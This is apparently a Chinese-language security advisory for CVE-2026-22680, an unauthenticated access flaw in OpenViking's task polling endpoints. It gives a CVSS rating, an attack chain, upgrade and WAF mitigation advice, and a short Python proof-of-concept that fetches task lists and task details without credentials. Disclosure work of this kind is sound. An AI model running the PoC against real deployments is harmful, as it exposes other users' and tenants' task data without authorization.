CVE-2026-22680 CVSS 5.3 中危

CVE-2026-22680 OpenViking权限缺失漏洞

披露日期: 2026-04-07

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-22680

漏洞类型

权限缺失

CVSS评分

5.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

OpenViking

漏洞概述

OpenViking 0.3.3 之前的版本在任务轮询端点存在权限缺失漏洞。未经身份验证的攻击者可直接访问 `/api/v1/tasks` 及 `/api/v1/tasks/{task_id}` 接口，枚举或检索其他用户创建的后台任务元数据。该漏洞导致任务类型、状态、资源标识符、归档 URI、结果载荷及错误信息泄露，并在多租户部署中可能引发跨租户干扰。

技术细节

该漏洞源于 OpenViking 在实现任务轮询功能时，未对相关 API 端点实施严格的身份验证与授权检查。具体而言，`/api/v1/tasks` 和 `/api/v1/tasks/{task_id}` 接口在处理请求时，默认允许匿名访问，绕过了正常的鉴权流程。攻击者无需登录即可利用此漏洞，通过构造简单的 HTTP GET 请求直接调用这些端点。利用过程中，攻击者可以遍历 `task_id` 参数，枚举系统内的所有后台任务，从而获取敏感的元数据信息。由于缺乏租户隔离验证，在多租户环境下，攻击者不仅限于自身任务，还能访问其他租户的任务详情，造成信息泄露及潜在的跨租户数据干扰。

攻击链分析

STEP 1

侦察

攻击者识别出目标系统运行的是 OpenViking 版本小于 0.3.3。

STEP 2

漏洞利用

攻击者向 `/api/v1/tasks` 发送未授权的 GET 请求，获取后台任务列表。

STEP 3

信息提取

从任务列表中提取 `task_id`，并进一步请求 `/api/v1/tasks/{task_id}` 获取详细的任务元数据。

STEP 4

跨租户访问

在多租户环境下，利用获取的信息分析其他用户的操作，导致数据泄露。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL (Replace with actual target)
target_host = "http://target-openviking-instance.com"

# Exploit: Access task list without authentication
# Endpoint: /api/v1/tasks
url_list = f"{target_host}/api/v1/tasks"

try:
    response = requests.get(url_list)
    if response.status_code == 200:
        print("[+] Successfully accessed /api/v1/tasks")
        print("[+] Task Data:")
        print(response.json())
    else:
        print(f"[-] Failed to access. Status code: {response.status_code}")
except Exception as e:
    print(f"[-] Error: {e}")

# Exploit: Access specific task details (Example ID)
# Endpoint: /api/v1/tasks/{task_id}
task_id = "example-task-id-123"
url_detail = f"{target_host}/api/v1/tasks/{task_id}"

try:
    response = requests.get(url_detail)
    if response.status_code == 200:
        print(f"[+] Successfully accessed /api/v1/tasks/{task_id}")
        print("[+] Task Detail:")
        print(response.json())
    else:
        print(f"[-] Failed to access detail. Status code: {response.status_code}")
except Exception as e:
    print(f"[-] Error: {e}")

影响范围

OpenViking < 0.3.3

防御指南

临时缓解措施

建议立即升级 OpenViking 至 v0.3.3 或更高版本。若无法立即升级，应在网络边界（如 WAF 或 API 网关）对 `/api/v1/tasks` 及其子路径实施严格的访问控制策略，阻断未授权的匿名请求。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表